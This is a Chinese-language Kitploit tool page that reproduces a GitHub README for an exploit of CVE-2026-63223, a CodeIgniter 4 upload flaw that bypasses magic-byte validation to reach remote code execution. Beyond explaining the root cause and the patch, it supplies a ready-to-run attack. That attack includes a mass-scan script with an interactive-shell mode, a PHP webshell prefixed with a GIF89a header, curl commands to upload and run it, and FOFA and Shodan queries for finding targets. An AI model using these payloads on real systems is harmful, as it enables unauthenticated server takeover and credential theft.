Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-63223 — CVE-2026-63223 — CI4RCE:CodeIgniter 4 is_image/mime_in 文件上传远程代码执行漏洞。魔法字节绕过(getExtension 与 getClientExtension)。CVSS 9.8 | CWE-434 | CI4 < 4.7.4 | Kitploit
工具/GitHubGitHub/shinthink/cve-2026-63223
Web漏洞扫描器Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubshinthink/cve-2026-63223

CVE-2026-63223

CVE-2026-63223 — CI4RCE:CodeIgniter 4 is_image/mime_in 文件上传远程代码执行漏洞。魔法字节绕过(getExtension 与 getClientExtension)。CVSS 9.8 | CWE-434 | CI4 < 4.7.4

查看仓库
141个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-63223 — CodeIgniter 4 文件上传 RCE

魔术字节绕过 → is_image/mime_in → PHP Webshell → RCE


概述

CVE-2026-63223 是一个严重等级(CVSS 9.8)的未认证远程代码执行漏洞,影响 CodeIgniter 4(一个 PHP 全栈 Web 框架)4.7.4 之前的版本。

该漏洞利用了 is_image 和 mime_in 文件上传验证规则,这些规则仅检查由内容推导出的 MIME 类型(魔术字节),而不验证客户端提供的文件扩展名。攻击者将图片魔术字节(GIF89a、JPEG、PNG 文件头)添加到 PHP 代码前端,将文件命名为 shell.php,通过验证后,文件落入 Web 可访问且可执行 PHP 的目录即可实现 RCE。

CVSS: 9.8 严重 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 发现时间: 2026 年 7 月 31 日 | 公告: GHSA-mmj4-63m4-r6h5 修复版本: CodeIgniter 4 v4.7.4

受影响版本

版本状态
< 4.7.4受影响
4.7.4+已修复

CWE: CWE-434 — 危险类型文件的无限制上传 参考 PoC: imbas007/CVE-2026-63223-POC


漏洞机制

根本原因

CodeIgniter 4 的 is_image 验证规则通过 Mimes::guessTypeFromExtension() 映射 getExtension()(返回由魔术字节推导出的扩展名,例如 gif)来判断文件是否为图片。客户端提供的文件扩展名(getClientExtension(),例如 php)从未被检查:

root@kitploit:~
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
    // ...
    $type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
    //      ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
    if (mb_strpos($type, 'image') !== 0) {
        return false;  // "image/gif" → passes!
    }
    return true;  // never checks getClientExtension() = "php"
}

为何有效

  1. getExtension() ≠ getClientExtension() — 前者由魔术字节推导(gif),后者来自客户端文件名(php)
  2. 验证信任字节而非文件名 — is_image 通过,因为 Mimes::guessTypeFromExtension("gif") 返回 image/gif
  3. 文件以客户端名称保存 — $file->move($path, $file->getClientName()) 保留了 .php 扩展名
  4. v4.7.4 之前无交叉检查 — 未验证客户端扩展名是否与检测到的类型一致
  5. Web 可访问的上传目录 — 默认/公共上传目录直接提供 PHP 文件

攻击流程

root@kitploit:~
1. Attacker generates PHP webshell with GIF89a header
   → file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
   → is_image validates: image/gif → PASS
   → File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
   → Apache passes .php to PHP-FPM → PHP executes
   → GIF89a output as plaintext, then <?php code runs
4. RCE as www-data

修复方案(v4.7.4)

该修复新增了 hasInvalidImageClientExtension() — 现在也会检查客户端扩展名:

root@kitploit:~
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    //                   ↑ NOW checks getClientExtension() = "php"!
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    //      ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
    return mb_strpos($type, 'image') !== 0;  // TRUE → REJECT!
}

关键变化:is_image 现在同时验证 getExtension()(由内容推导,用于实际的图片检查)和 getClientExtension()(由客户端提供,用于拒绝 .php 等非图片扩展名)。


安装

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests

使用方法

root@kitploit:~
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar

# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"

# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell

# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php

# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20

参数说明

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -e, --endpoint     Vulnerable upload endpoint (default: /upload/avatar)
  --field FIELD      Upload form field name (default: avatar)
  --method {gif,jpg,png}  Magic bytes disguise (default: gif)
  --filename NAME    Shell filename (default: shell.php)
  -c, --command      Shell command to execute (default: id)
  --shell            Interactive pseudo-shell mode
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)

概念验证

单个目标

root@kitploit:~
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
root@kitploit:~
  Host          : ci4-app.com
  CodeIgniter 4 : YES
  Upload        : YES
  Shell URL     : http://ci4-app.com/uploads/shell.php
  RCE           : YES

  RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01

手动利用(curl)

root@kitploit:~
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar

# Execute
curl http://target/uploads/evil.php?c=id

FOFA / Shodan

root@kitploit:~
FOFA:   body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"

影响

成功利用可获得 Web 服务器用户权限下的远程代码执行:

  • 执行任意系统命令
  • 从 .env 文件获取数据库凭据
  • 部署持久化后门
  • 向内部网络横向移动
  • 篡改或攻陷应用程序

无需任何账户或身份验证——默认情况下,使用 is_image/mime_in 而未搭配 ext_in 的上传端点即为易受攻击状态。


修复方案(v4.7.4)

  1. 升级到 CodeIgniter 4 v4.7.4 或更高版本
  2. 变通方案: 将 is_image/mime_in 与 ext_in 验证规则搭配使用
  3. 将上传文件存储在 Web 根目录之外,并通过 readfile() 代理提供访问
  4. 使用 getRandomName() 生成由服务器控制的文件名

免责声明

仅供教育和授权测试用途。

未经明确许可,请勿针对任何系统使用。作者对滥用行为不承担任何责任。


参考资料

资源链接
GitHub 安全公告GHSA-mmj4-63m4-r6h5
参考 PoCimbas007/CVE-2026-63223-POC
NVD 条目CVE-2026-63223
CodeIgniter v4.7.4更新日志
CWE-434无限制上传

与 CodeIgniter 基金会无关联。

下载工具